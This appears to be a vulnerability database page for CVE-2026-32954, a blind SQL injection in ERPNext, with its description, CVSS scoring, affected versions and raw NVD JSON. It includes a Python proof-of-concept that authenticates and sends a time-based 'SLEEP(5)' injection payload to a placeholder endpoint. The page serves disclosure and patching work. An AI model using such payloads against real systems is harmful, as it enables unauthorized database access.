Security Vulnerability Report
中文
CVE-2026-32954 CVSS 7.1 HIGH

CVE-2026-32954

Published: 2026-03-20 05:16:15
Last Modified: 2026-03-23 19:35:21

Description

ERP is a free and open source Enterprise Resource Planning tool. In versions prior to 16.8.0 and 15.100.0, certain endpoints were vulnerable to time-based and boolean-based blind SQL injection due to insufficient parameter validation, allowing attackers to infer database information. This issue has been fixed in versions 15.100.0 and 16.8.0.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:frappe:erpnext:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:frappe:erpnext:*:*:*:*:*:*:*:* - VULNERABLE
ERPNext < 16.8.0
ERPNext < 15.100.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # PoC for CVE-2026-32954 (Blind SQL Injection in ERPNext) import requests import time target_url = "http://target-erpnext.com/api/method/some.vulnerable.endpoint" session = requests.Session() # Authenticate if required (PR:L) login_data = {"usr": "user", "pwd": "password"} session.post("http://target-erpnext.com/api/method/login", data=login_data) # Payload to check if response time increases (Time-Based Blind) payload = "1' AND (SELECT SLEEP(5))-- -" params = {"doc": payload} # 'doc' is a common parameter in ERPNext print(f"Sending payload to {target_url}") start_time = time.time() try: response = session.get(target_url, params=params, timeout=10) elapsed = time.time() - start_time if elapsed > 5: print(f"[+] Vulnerability Confirmed! Response time: {elapsed:.2f}s") else: print(f"[-] Not vulnerable or parameter incorrect. Response time: {elapsed:.2f}s") except Exception as e: print(f"Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-32954", "sourceIdentifier": "[email protected]", "published": "2026-03-20T05:16:14.877", "lastModified": "2026-03-23T19:35:20.533", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ERP is a free and open source Enterprise Resource Planning tool. In versions prior to 16.8.0 and 15.100.0, certain endpoints were vulnerable to time-based and boolean-based blind SQL injection due to insufficient parameter validation, allowing attackers to infer database information. This issue has been fixed in versions 15.100.0 and 16.8.0."}, {"lang": "es", "value": "ERP es una herramienta de Planificación de Recursos Empresariales de código abierto y gratuita. En versiones anteriores a la 16.8.0 y la 15.100.0, ciertos puntos finales eran vulnerables a inyección SQL ciega basada en tiempo y basada en booleanos debido a una validación de parámetros insuficiente, permitiendo a los atacantes inferir información de la base de datos. Este problema ha sido solucionado en las versiones 15.100.0 y 16.8.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 4.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:frappe:erpnext:*:*:*:*:*:*:*:*", "versionEndExcluding": "15.100.0", "matchCriteriaId": "2B113C66-E9D4-4F22-9D5B-D2A9538B6D1B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:frappe:erpnext:*:*:*:*:*:*:*:*", "versionStartIncluding": "16.0.0", "versionEndExcluding": "16.8.0", "matchCriteriaId": "0DBAE940-BDCC-4903-852F-AFD98566B150"}]}]}], "references": [{"url": "https://github.com/frappe/erpnext/releases/tag/v15.100.0", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/frappe/erpnext/releases/tag/v16.8.0", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/frappe/erpnext/security/advisories/GHSA-j669-ghv2-gmqg", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}